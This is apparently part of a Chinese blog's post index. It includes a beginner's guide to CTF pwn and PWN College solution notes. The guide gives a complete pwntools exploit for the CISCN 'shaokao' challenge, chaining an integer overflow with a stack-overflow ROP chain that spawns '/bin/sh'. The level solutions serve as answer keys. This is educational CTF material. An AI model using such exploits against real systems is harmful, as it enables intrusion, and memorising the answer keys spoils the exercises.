这三个部分。在你完成这三个部分以后,基本上对于常规的栈溢出入门题来说,哪怕不会做,也不至于看不懂题目想让你做什么了。\n对于一些因为没接触过的提醒导致的迷茫,最好的办法就是搜索。刚入门的时候大家都只接触过栈溢出的利用,但是一旦突然撞上了堆题,那一头雾水也是再正常不过的事情了。这种情况下最好的办法就是现学现用,活用自己的搜索能力去寻找于题型类似的题目,如果找不到,再开始从头学起。\n这里介绍一些常规的做题流程,具体细节可能因人而异:\n- 确认题目的运行环境 - 运行的平台/动态库版本等目前的大环境来说,对于需要使用 libc 的题目一般都会将使用的 libc 或者容器的 dockerfile 作为附件一起打包给选手。对于前者的情况下,当我们直接使用 IDA 打开该文件即可知道对应的版本:\n\n如果题目需要选手直接对堆进行调试的话,那么就需要使用 Glibc-All-in-one 和 patchelf 根据版本去修改链接的动态库。\n这里推荐一下团队里的师傅开发的工具:https://github.com/ef4tless/xclibc.git,该工具能够一键完成上述的替换功能。由于 README 写的非常完善了,这里就不过多赘述。\n而如果题目附件中提供了 dockerfile,那么使用的动态库版本一般都会和使用的容器一一对应。\nFROM ubuntu:16.04RUN sed -i "s/http:\\/\\/archive.ubuntu.com/http:\\/\\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \\ apt-get update && apt-get -y dist-upgrade && \\ apt-get install -y lib32z1 xinetdRUN useradd -m ctfWORKDIR /home/ctf# 以下省略\n\n对于大多数 dockerfile 都会在第一行标注出使用的容器环境,对应关系如下:\n\nubuntu:16.04 / glibc-2.23\nubuntu:18.04 / glibc-2.28\nubuntu:20.04 / glibc-2.31\nubuntu:22.04 / glibc-2.34\n\n除此之外,最新版的 glibc 已经到了 glibc-2.38 了,但这之后的版本使用范围比较小,目前大部分都只会用到 2.34 版本为止。另外,如果选手遇到一些使用特殊版本的容器时,就需要本地构建 docker 容器后将动态库从容器中复制到本地。具体要根据题目给出的构建规则去创建容器,然后使用类似如下的命令拉取:\ndocker cp imageid:/lib32/libc.so.6 本地路径\n\n另外,对于一些跨架构的题目,比如 arm64 等,则需要使用 qemu 去模逆执行,具体情况要根据题目去选择。\n- 反编译二进制文件静态分析理解代码逻辑接下来我们用一道具体的题目来练练手。\n这里笔者选用了今年举办的 CISCN 初赛中的 shaokao 作为演示,考虑到部分师傅可能对计算机原理还不甚熟悉,因此只选用了较为入门的一道题目。\n因为文件不是很大,我们先用 IDA 直接打开它,看看能不能做些简单的分析:\n\n\n部分师傅用 IDA 打开以后可能直接反编译不会是这个结果,这种情况下请使用 IDA7.7 以上的版本,其中添加了对 switch 的反编译支持\n\n可以看出,题目是一个基本的菜单,根据用户输入的内容分别有几种不同的函数被执行,接下来我们一个一个跟进去确认一下\ncase1\n代码还算清楚,可以看出第一个函数是用来购买啤酒的。用户先是选择想要的种类,然后给出数量,最后会将全局变量里的钱进行扣除\ncase2\n分支2 和前一个函数基本相同,基本上只有价格不一样而已,所以这里我们快速阅读后可以跳过这个函数。\ncase3\n这个函数用来显示当前还有多少钱,写的很规范,基本上一眼就能排处它的嫌疑\ncase4\n分支4的逻辑也很清晰,如果我们现在非常有钱,那么就能直接把烧烤摊买下来,这里设置了 own 为 1,在 main 函数中我们可以看到,如果这个全局变量非 0 ,那么我们就能够进入分支 5\ncase5\n此处可以见到另外一个输入函数,而 scanf 函数作为一个读取输入的函数,根据参数的不同是有可能导致危险的。通过 IDA,我们可以确认出它所使用的格式化字符串为 %s ,这意味着此处存在栈溢出漏洞。\n漏洞发现与利用到这一步相信读者已经大概明白要怎么完成这道题了。题目的逻辑很简单,当用户的钱非常多的时候,就可以把烧烤摊买下来;而买下来以后就可以调用 gaiming 函数触发栈溢出写入 ROP 来劫持程序的运行了。\n\n如果您对 ROP 的工作原理感到困惑,可以阅读本文:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/\n\n但是问题来了,这个 money 的默认值是 233,而且我们似乎不管做什么都只会减少不会增多,那要如何才能买下烧烤摊呢?\n如果您已经知道了整数溢出漏洞的存在,那么想必您已经知道对于计算机来说,加一个数等于减去一个负数,只需要买 -10000 瓶酒就能搞定了。\n但是假如我们作为一个刚刚入门的新人,才只接触过栈溢出的基本利用,此时正是一头雾水的时候,我们该怎么办呢?\n那么此时肯定就要依靠我们自己的搜索和整理能力了。第一个方法很简单也很朴素,既然是我们从未了解过的漏洞类型,那么遍历一遍常见的漏洞列表,大概率能找到与之吻合的类型:\n\n排处掉第一个栈溢出之后,第二个是格式化字符串。再确认了所有的 printf 和 scanf 的输入参数都不能由我们控制后,这个类型也可以排处。以及由于整个程序都没有使用到 malloc 和 free,肯定和堆也没关系,因此也排除第三种。\n第四种看起来非常的复杂,对于新人来说基本上完全看不懂,因此暂且跳过。当我们选到第五种的时候,联系其逻辑中对全局变量的运算,就能相对自然的把利用方式对上。\n- 动态调试验证漏洞存在而既然我们现在模模糊糊的确认代码中存在整数溢出,那么接下来就是要通过调试来确定这个漏洞的存在了。\n我们写一个简单的脚本去验证一下:\nfrom pwn import *from struct import packp=process("./shaokao")gdb.attach(p,"b*0x401FAE")pause()p.recvuntil("0. ")p.sendline(str(1))p.recvuntil("3. ")p.sendline("1")p.recvuntil("\\n")p.sendline("-999998")p.interactive()\n\n脚本的逻辑很简单,随便选一个啤酒,然后买上 -999998 瓶,然后来看看 gdb 里的反应如何。\n我们在这个地方下了个断点,观察一下什么值会被放入全局变量:\n\n\n通过调试可以发现,此时的 eax 真的会变成一个非常大的数字,从而我们验证了漏洞的存在,现在就可以开始编写 exp 了。\n- 编写脚本+调试进行利用由于题目是静态编译的,因此我们可以使用如下命令快速构造 ROP\nROPgadget --binary shaokao --ropchain\n\n最后构造的 exp 如下:\nfrom pwn import *from struct import packp=process("./shaokao")#gdb.attach(p,"b*0x401FAE")#pause()p.recvuntil("0. ")p.sendline(str(1))p.recvuntil("3. ")p.sendline("1")p.recvuntil("\\n")p.sendline("-999998")p.recvuntil("0. ")p.sendline(str(4))p.recvuntil("0. ")p.sendline(str(5))def rop():\tp = ''\tp += pack('<Q', 0x000000000040a67e) # pop rsi ; ret\tp += pack('<Q', 0x00000000004e60e0) # @ .data\tp += pack('<Q', 0x0000000000458827) # pop rax ; ret\tp += '/bin//sh'\tp += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret\tp += pack('<Q', 0x000000000040a67e) # pop rsi ; ret\tp += pack('<Q', 0x00000000004e60e8) # @ .data + 8\tp += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret\tp += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret\tp += pack('<Q', 0x000000000040264f) # pop rdi ; ret\tp += pack('<Q', 0x00000000004e60e0) # @ .data\tp += pack('<Q', 0x000000000040a67e) # pop rsi ; ret\tp += pack('<Q', 0x00000000004e60e8) # @ .data + 8\tp += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret\tp += pack('<Q', 0x00000000004e60e8) # @ .data + 8\tp += pack('<Q', 0x4141414141414141) # padding\tp += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x00000000004230a6) # syscall ; re\treturn ppayload=b"a"*32+b"b"*8+rop()p.sendline(payload)p.interactive()\n\n整个过程一般来说没有什么可以取巧的地方,但在编写脚本时可以提前自己准备好一份框架模板,在用的时候只需要修改文件名就能直接上手,这会避免些许时间浪费。\n比如这样,提前将要用到的函数简化等:\nfrom pwn import * context.log_level='debug' context.arch='amd64' p=process('./your_binary')ru = lambda a: p.readuntil(a)r = lambda n: p.read(n)sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) sl = lambda a: p.sendline(a) s = lambda a: p.send(a) p.interactive()\n\n总结总的来说,这道题目并不困难,笔者相信对大多数师傅来说都是非常简单的一道题。但是本文既然面向即将开始入门这个方向的师傅,如果全文都是在讲述极其复杂的理解和利用,相信这会让大多数人望而却步。如果您真的期望看一些较为复杂的内容,籍此提前了解一下未来会遇到哪些麻烦的问题,欢迎您浏览笔者的博客和某些论坛的主页。\n归根结底,笔者在此还算希望能减轻师傅们对 PWN 的一些畏难心理。因为笔者最开始学 PWN 的时候也会因为见到不认识的内容感到无从下手,从而放弃整道题目,而在事后看完 writeup 又觉得追悔莫及。\nQ3:学习过程中有没有什么重难点需要注意?学 Pwn 最忌讳的就是“怕麻烦”。很多时候可能看反编译出来的伪代码难以理解,但其实上手调试一下就能解决。而克服自己怕麻烦的心态其实就是 Pwn 的成长路途上几大麻烦之一。\n另外一个点则是“有耐心”。尤其是对于刚入门不久的师傅们来说,Pwn 的做题流程相比于其他方向都显得更加的冗长,有的时候连第一步的环境搭建都要折腾上几个小时之久,还会面临各种各样极其麻烦的场景,因此对 Pwn 手来说,耐心是一个很关键的要素,一方面在做题时保持心态才能够稳定输出,另一方面只有长期保持兴趣才能在 Pwn 的道路上越走越远。\n除此之外,在技术上的重难点就是对技术的适应性。随着现在 CTF 比赛越来越多,题型和技术栈也是越来越繁茂了,如何在遇到新型的题目设计时尽快适应也是一个重难点。举个简单的例子,对于做惯了 x86_64 下 C 语言赛题的师傅,如果突然给出了一道 arm64 Pwn 的题目,又或者是 Rust 编写的题目时,如何快速的适应题目并展开分析就变得重要了。\n以我的个人经验来说,要想快速适应新的题型,往往需要通过大量的赛前积累。这并不意味着靠题海战术解决,而是通过不同的类型赛题去培养自己的直觉,养成了一个良好的意识习惯以后,自然就对各类题型都不会觉得梗塞了。\n以 Arm64 架构举例:做惯了 x86_64 架构的师傅都知道,x86_64 是基于栈和寄存器的架构,这意味着栈溢出能够劫持它的运行逻辑。现在我们切换到 arm64 ,通过资料可以查阅出,它是一款基于寄存器的架构。在 x64 下,call 一个函数时会将返回地址入栈,而 arm64 肯定也要具备函数调用的能力,那么它的函数调用是如何实现的?\n通过搜索可以找到如下样例:\n.text.global _funcA, _sum_funcA: stp x29, x30, [sp, #-0x10]! bl _sum ldp x29, x30, [sp], #0x10 ret_sum: add x0, x0, x1 ret\n\n可以发现它使用了 x29 和 x30 两个寄存器,再往下查找资料可以发现而这分别用于储存栈帧和返回地址。而在嵌套式调用中,调用以前会将当前函数的返回地址和栈帧入栈,这就相当于 x64 下的 push rbp;push rip+8 了,因此栈溢出对它仍然适用,只是覆盖的返回地址不能够立即劫持,需要等待当前函数返回后,将劫持的返回地址加载到 x30,并且当父函数再次返回时才能够劫持。以及中间需要选择其他 gadget 对栈进行维护从而构造 ROP 进行持续控制。\n此处,笔者所说的 “直觉” 其实指的就是在遇到该架构时能够先考虑到理解函数调用和栈的关系这一点,从此处开始向下搜索资料来完善自己的猜测,最后验证猜测。\n当然直觉也是失灵的时候,在失灵时能够尽快提出另一种可能性也是一种灵活。\nQ4:有哪些值得推荐的书籍或网站?书单首先先推荐一下这个项目:https://github.com/olist213/Information_Security_Books,里面基本上涵盖了每个方向的相关书籍,读者可以按需自取。\n然后是笔者为 Pwn 师傅们推荐的单独目录:\n\n操作系统(B):《操作系统真象还原》《鸟哥的Linux私房菜》\n计算机原理(B):《深入理解计算机系统(CSAPP)》,《程序员的自我修养》\nC/C++ (A):《C Primer plus》《C++ Primer plus》\n汇编语言(A):《汇编语言》- 王爽\n数据结构(C-):《数据结构与算法分析 —— C语言描述》\n网络协议(C):《TCP/IP 详解 (卷一)》\n逆向工程(D):《逆向工程核心原理》\n编译原理(D):《编译原理(龙书)》\n\n操作系统是每位 Pwner 必备的基础知识,哪怕不准备往内核方向发展,这两部书也是有必要看的,其中第一本能在极大程度上驱散自己对计算机核心的心中迷雾。而第二本则是辅助,如果有时间可以看看。\n计算机原理则是另外一部分必要内容,CSAPP 不要求全都看完,个人认为看到 11 章就非常足够了,而 Lab 只需要做到 Lab4 就能在很大程度上满足需求了。当然,如果有时间,自然是越多越好。而《程序员的自我修养》则在另外一个方面弥补自己对软件构建方面的缺陷,这本书不厚,很快就能看完,但非常推荐去看看。\nC/C++ 则是必要的语言基础,我个人认为,C 语言一定要学好,而其他语言的最低限度是能够会看即可。由于大部分语言都有自己的语义结构,因此从字面上理解往往并没有那么困难,我个人认为对于其他语言可以浅尝辄止,但 C 语言一定要学的足够深。\n数据结构部分其实并不是那么关键,尽管几乎所有计算机类都会有这么一门必修课,但实际上用到的机会并不是那么多。但我仍然推荐各位对此稍微有些了解,因为数据结构中的很多实现往往较为晦涩,如果没有自己编写类似代码的经验,在对此类题目进行逆向分析时会吃上些许苦头。\n网络协议部分也是较为关键的内容,因为 Pwn 的目标在现实场景下其实涉及到网络组件的情况更多,掌握这部分知识会让分析代码的过程更丝滑。\n逆向工程和编译原理相对来要求没那么高,在已经完成了前面所说的部分以后如果仍有余裕,可以考虑这部分内容作为额外的提升。\n至于阅读顺序,个人是建议按照上述目录标准的顺序,从 A-D 递减的优先级进行阅读。\n练习\nCTF-wiki : https://ctf-wiki.org/pwn/linux/user-mode/environment/\nBUUOJ:https://buuoj.cn/\n\n对大多数人来说,CTF-wiki 可以解决入门阶段 90% 的基础,而 BUUOJ 和一些其他的练习平台作为辅助,闲暇的时候刷上一两题巩固基础,提高熟练度。\n就我个人而已,我更推荐以赛促学,练习更多的只是平常用于巩固,刷上 2-3 页其实就很多了。更加高效的方法是参加一些难度并没有那么高的比赛,在那种连续的环境下长时间思考能够快速提高自己的技术水平。比如说安恒的月赛、各大高校的新生赛,都是不错的选择。\nQ5:如果我要学 Pwn ,有没有什么建议?Pwn 其实是一门较为综合的方向,它的实际范围其实要比我们在比赛中能够遇见的更广,这决定了它注定不是一条轻松的路。二进制安全的历史其实非常久远,很多东西已经非常完善了。比方说现在的 Rust 语言就在很大程度上解决了内存安全问题,所以它越是发展,我们就越是没事做。安全行业的实质是在消灭安全行业,所以为了求生,除了比赛相关的内容以外,也建议师傅们对自己设立一些更高的目标。\n学 Pwn 的目的不只是为了在比赛里能拿个好成绩,更不应该是因为队伍里没人学所以自己补个位,认清楚自己的目标,提前想好自己在未来能够用它做些什么才是更重要的事情。\n实践经历Q1:理论与现实的差距在哪?仅限于 Pwn 方向来说,CTF 和实际的工作内容的差距是非常大的。从最基本的性质上说,CTF 的本质是 Game,Game 就肯定有通关的方法,也就是说题目必然是有解的,但现实里挖洞却不一样,有的时候它可能真的没洞,又有的时候或许漏洞过于隐蔽以至于自己无法判断是否能够挖出。\n我相信大多数师傅在做题的时候都很少会接触到超过 1mb 大小的 Pwn 题,现在因为 Rust 和 Golang 等语言的出现,二进制文件可能相比以前的 C 语言大上不少,但一般都不会超过 10mb(排除静态编译的情况)。但在真正的工作里,我们有可能要面对远大于这个量级的样本,可能一个样本有 20mb 甚至更大,函数的数量超过十万个,在这种条件下,按照做 Pwn 题的方式去分析样本几乎是不可能完成的任务。\n也有一些相对苛刻的情况,可能做过 IOT 的师傅会更清楚,模拟设备和真实设备的差距是很大的,对于一些特殊设备可能根本没办法进行模拟,这就更加麻烦了。\nQ2:那我该怎么办呢?正如上文所说的,拓宽自己的技能栈。Pwn 的总体方向是 “二进制漏洞挖掘与利用”,其中包括了挖掘部分。CTF 中其实有意削弱了这漏洞挖掘的部分,因为对于限时的比赛而言,挖洞往往耗费大量的时间且并不体现选手的能力,因为有的时候,能否挖出漏洞甚至是一个运气问题。\n那么弥补这部分靠 CTF 无法学到的知识就可以了。常用的漏洞挖掘的方案一般包括黑盒测试、灰盒测试和白盒测试,掌握这方面的技巧,参考一些比较经典的项目,比如 AFLFuzzer、Codeql 等,能够在很大程度上弥补这方面知识。\n当然,最终都要落到实处。尝试着去找一些相对简单的项目进行真正的漏洞挖掘,亲身体验一下那种过程要远好于各种资料。\n如果在过程中遇到了自己难以解决的问题,比起自己埋头硬干,也建议各位师傅积极与其他师傅交流,各大比赛的官方群在赛后其实都是不错的交流平台,以及一些 Pwner 交流群和各大论坛都能提供一定的帮助。\n结语不知道各位有没有发现,我似乎总是倾向于用文字而非图片或其他形式进行表达。\n由于我在编写文档时总是习惯用 markdown 这种标记语言进行编辑,这种文档显示出来的效果会因不同的编辑器而异,所以尽管 Obsidian 的风格非常优雅,但为了兼容性考虑,我还是在大多数时候避免使用表格和图片,后者主要是因为图片的非常耗时。出于种种考虑,如果您希望以一种快捷的方式撰写文档,我也推荐您使用 markdown 代替 word 文档。\n最后再贴个自己的小博客:tokameine.top \n","categories":["杂物间"],"tags":["pwn"]},{"title":"自我的弱点","url":"/2023/10/07/%E8%87%AA%E6%88%91%E7%9A%84%E5%BC%B1%E7%82%B9/","content":"我最悲哀的地方莫过于自己目光短浅与性格怯懦。\n现代人的孤独和国家制度的不完善造就了当下社会的哥布林。\n记于:2023-10-7\n","categories":["杂物间"]},{"title":"PWN College CSE 466 - Assembly Crash Course","url":"/2023/10/08/Assembly%20Crash%20Course/","content":"level1.section .text mov $0x1337,%rdi\n\nas -o asm.o asm.Sobjcopy -O binary --only-section=.text asm.o asm.bincat ./asm.bin | /challenge/run\n\nlevel2.section .text add $0x331337,%rdi\n\nlevel3.section .text imul %rsi,%rdi add %rdx,%rdi mov %rdi,%rax\n\nlevel4.section .text mov %rdi,%rax divq %rsi\n\nlevel5.section .text mov %rdi,%rax divq %rsi mov %rdx,%rax\n\nlevel6.section .text movb %dil, %al movw %si, %bx\n\nlevel7.section .text shl $24,%rdi shr $56, %rdi mov %rdi,%rax\n\nlevel8.section .text xor %rax,%rax and %rdi,%rsi xor %rsi,%rax\n\nlevel9.section .text xor %rax,%rax and $1,%rdi xor %rdi,%rax xor $1,%rax\n\nlevel10from pwn import *context.arch="amd64"context.log_level="debug"sc="""mov rax,[0x404000]mov rdi,raxadd rdi,0x1337mov byte ptr[0x404000],rdi"""p=process("/challenge/run")p.send(asm(sc))p.interactive()\n\nlevel11mov al,byte ptr[0x404000]mov bx,word ptr[0x404000]mov ecx,dword ptr[0x404000]mov rdx,qword ptr[0x404000]\n\nlevel12mov rax,0xdeadbeef00001337mov qword ptr[rdi],raxmov rax,0xc0ffee0000mov qword ptr[rsi],rax\n\nlevel13mov rax,[rdi]mov rbx,[rdi+8]add rax,rbxmov [rsi],rax\n\nlevel15pop raxsub rax,rdipush rax\n\nlevel16mov rax,[rsp]add rax,[rsp+8]add rax,[rsp+16]add rax,[rsp+24]mov rbx,4div rbxpush rax\n\nlevel17sc="""jmp $+0x53"""+"""nop"""*0x51+"""pop rdimov rax,0x403000jmp rax"""\n\nlevel18mov eax,dword ptr [rdi]cmp rax,0x7f454c46jne case2mov eax,dword ptr [rdi+4]add eax,dword ptr [rdi+8]add eax,dword ptr [rdi+12]jmp outcase2:cmp eax,0x00005A4Djne case3mov eax,dword ptr [rdi+4]sub eax,dword ptr [rdi+8]sub eax,dword ptr [rdi+12]jmp outcase3:mov eax,dword ptr [rdi+4]mov ebx,dword ptr [rdi+8]mul ebxmov ebx,dword ptr [rdi+12]mul ebx\n\nlevel19xor rax,raxcmp rdi,3jbe tcasemov rax,qword ptr[rsi+8*4]jmp raxtcase:mov rax,qword ptr[rsi+8*rdi]jmp rax\n\nlevel20xor rax,raxxor rcx,rcxmov rbx,rsiloop:sub rbx,1mov rcx,qword ptr [rdi+rbx*8]add rax,rcxcmp rbx,0jne loopdiv rsi\n\nlevel21mov rax,0cmp rdi,0je donemov rsi,-1loop:add rsi,1mov rbx,[rdi+rsi]cmp rbx,0jne loopmov rax,rsidone:\n\nlevel22mov rax,0mov rsi,rdicmp rsi,0je doneloop:mov bl,[rsi]cmp bl,0je donecmp bl,90ja nextmov dil,blmov rdx,raxmov rcx,0x403000call rcxmov [rsi],almov rax,rdxadd rax,1next:add rsi,1jmp loopdone:ret\n\nlevel23push 0mov rbp,rspmov rax,-1sub rsi,1sub rsp,rsiloop1: add rax,1 cmp rax,rsi jg next mov rcx,0 mov cl,[rdi+rax] mov r11,rbp sub r11,rcx mov dl,[r11] add dl,1 mov [r11],dl jmp loop1next:mov rax,0mov rbx,raxmov rcx,raxmov ax,-1loop2: add ax,1 cmp ax,0xff jg return mov r11,rbp sub r11,rax mov dl,[r11] cmp dl,bl jle loop2 mov bl,dl mov cl,al jmp loop2return:mov rax,rcxmov rsp,rbppop rbxret\n","categories":["CTF题记","Note"],"tags":["pwn"]},{"title":"PWN College CSE 466 - Program Interaction","url":"/2023/10/08/Program%20Interaction/","content":"level1第一关就被卡了好久:\n#include <stdio.h>#include <unistd.h>void pwncollege(char* argv[],char *env[]){        char *newenv[]={NULL};        execve("/challenge/embryoio_level1",newenv,env);        return ;}int main(int argc,char* argv[],char* env[]){        pid_t fpid;        fpid=fork();        if(fpid<0)                printf("error in fork!\\n");        else if (fpid==0){                printf("我是子进程\\n");                pwncollege(argv,env);        }        else{                printf("我是父进程\\n");                wait(NULL);        }        return 0;}\n\n但其实不用这么写也可以,只是因为我习惯在 vscode 给的 terminal 里运行程序,所以它会主动去穿一些参数。但如果用 VNC 连的桌面开一个 bash 就可以直接运行程序给的题目二进制了。\nlevel2/3/4直接运行给个参数就行了。4需要给个环境变量再运行\nlevel5重定向输入:\n./embryoio_level5 < /tmp/inujwj\n\nlevel6重定向输出:\n./embryoio_level6 > /tmp/tzdetd\n\nlevel7无环境变量去运行该程序。写一个程序调用 execve 去跑目标程序,不过要编译为 bash:\n#include <stdio.h>#include <unistd.h>void pwncollege(char* argv[],char *env[]){        char *newenv[]={NULL};        execve("/challenge/embryoio_level1",newenv,newenv);        return ;}int main(int argc,char* argv[],char* env[]){        pid_t fpid;        fpid=fork();        if(fpid<0)                printf("error in fork!\\n");        else if (fpid==0){                printf("我是子进程\\n");                pwncollege(argv,env);        }        else{                printf("我是父进程\\n");                wait(NULL);        }        return 0;}\n\nlevel8/9/10/11/12/13写个脚本然后运行程序即可。\nlevel14脚本里写:\nenv -i /challenge/embryoio_level14\n\nlevel22import subprocesssubprocess.run("/challenge/embryoio_level22")\n\nlevel23/24/25/26/27基本不变\nlevel28#env -i python3 sc.pyimport subprocesssubprocess.run(["/challenge/embryoio_level28])\n\n\nlevel29要求用 fork 开子进程然后调用文件,套一下之前的代码:\n#include <stdio.h>#include <unistd.h>void pwncollege(char* argv[],char *env[]){        char *newenv1[]={'bash',"/home/hacker/Desktop/sc.sh",NULL};        char *newenv2[]={NULL};        execve("/challenge/embryoio_level29",newenv2,newenv2);        return ;}int main(int argc,char* argv[],char* env[]){        pid_t fpid;        fpid=fork();        if(fpid<0)                printf("error in fork!\\n");        else if (fpid==0){                printf("我是子进程\\n");                pwncollege(argv,env);        }        else{//fpid==1的是父进程                printf("我是父进程\\n");                wait(NULL);        }        return 0;}\n\nlevel30/31/32/33/34/35基本套用给上一个脚本\nlevel36程序和上一个基本一样,但是把输出用管道符传给 cat:\n./bash | cat\n\nlevel37./bash | grep "pwn"\n\nlevel40要求重定向 stdin 并通过管道符给程序,并且还要求用 cat。不过 cat 如果有目标文件直接就结束退出了,但是单输入一个 cat 会让程序挂起,然后就可以输入了:\ncat | ./bash\n\nlevel42/44基本同上。\nlevel47有点麻烦,rev 在无参的情况下看起来和 cat 差不多,但是这次却没成功,于是写了个程序命名为 rev 然后去传参:\n#include<stdio.h>#include<stdlib.h>int main(){    printf("%s\\n","cfijsyko");    sleep(5);}\n\n程序结束后会吐出 flag\nlevel54/56/58用 python 重复上面的操作\nlevel60/61/65这次又换会用 fork 去启了,操作不变。\nlevel66要求用 find 去启动程序:\nfind "/challenge/embryoio_level66" -exec {} \\;\n\nlevel68要求给很多参数,直接复制粘贴强行突破了。\n不过好像有更简单的方式:\n/challenge/embryoio_level68 `printf ' godxqtxpvg%0.s' {1..284}`\n\n\nlevel71#include <stdio.h>#include <unistd.h>void pwncollege(char* argv[],char *env[]){        char *newenv1[400]={"bash","sc.sh",NULL};        char *newenv2[]={"195=zyzycfyyds",0};        execve("/challenge/embryoio_level71",argv,newenv2);        return ;}int main(int argc,char* argv[],char* env[]){        pid_t fpid;        pwncollege(argv,env);        fpid=fork();        if(fpid<0)                printf("error in fork!\\n");        else if (fpid==0){                printf("我是子进程\\n");                pwncollege(argv,env);        }        else{                printf("我是父进程\\n");                wait(NULL);        }        return 0;}\n\nlevel72先进目录,然后用 bash 跑脚本,并重定向即可:\n/tmp/rdsjif$ bash /home/hacker/Desktop/sc.sh < abjvbe\n\nlevel73有点麻烦,最后是这样搞定的:\n#sc.shcd /tmp/gngyds;exec /challenge/embryoio_level73\n\n#sc2.shbash sc.sh\n\nbash -c "bash sc2.sh"\n\nlevel74import subprocessar=["/challenge/embryoio_level74"]for i in range(200):    ar.append("xkxnlfngaa")subprocess.run(ar)\n\nlevel77import subprocessimport osar=["/challenge/embryoio_level77"]for i in range(200):    ar.append("xhgzegeywm")os.environ.clear()os.environ["185"]="pfqthebkev"subprocess.run(ar)\nlevel79也是换个目录,不过这次是 python 版本:\nimport subprocessimport osar=["/challenge/embryoio_level79"]subprocess.call(ar,cwd="/tmp/wnufru")\n\nlevel80#include <stdio.h>#include <unistd.h>#include<stdlib.h>void pwncollege(char* argv[],char *env[]){        char *newenv1[400]={"/challenge/embryoio_level80",NULL};        for(int i=1;i<100;i++)        {                newenv1[i]="oikeqbtrns";        }        char *newenv2[]={0};        execve("/challenge/embryoio_level80",newenv1,newenv2);        return ;}int main(int argc,char* argv[],char* env[]){        pid_t fpid;        fpid=fork();        if(fpid<0)                printf("error in fork!\\n");        else if (fpid==0){                printf("我是子进程\\n");                pwncollege(argv,env);        }        else{                printf("我是父进程\\n");                wait(NULL);        }        return 0;}\n\nlevel83#include <stdio.h>#include <unistd.h>#include<stdlib.h>void pwncollege(char* argv[],char *env[]){        char *newenv1[400]={"/challenge/embryoio_level80",NULL};        for(int i=1;i<300;i++)        {                newenv1[i]="vfnrjapwqf";        }        char *newenv2[]={"151=mzjtmpkgda",0};        execve("/challenge/embryoio_level83",newenv1,newenv2);        return ;}int main(int argc,char* argv[],char* env[]){        pid_t fpid;        fpid=fork();        if(fpid<0)                printf("error in fork!\\n");        else if (fpid==0){                printf("我是子进程\\n");                pwncollege(argv,env);        }        else{                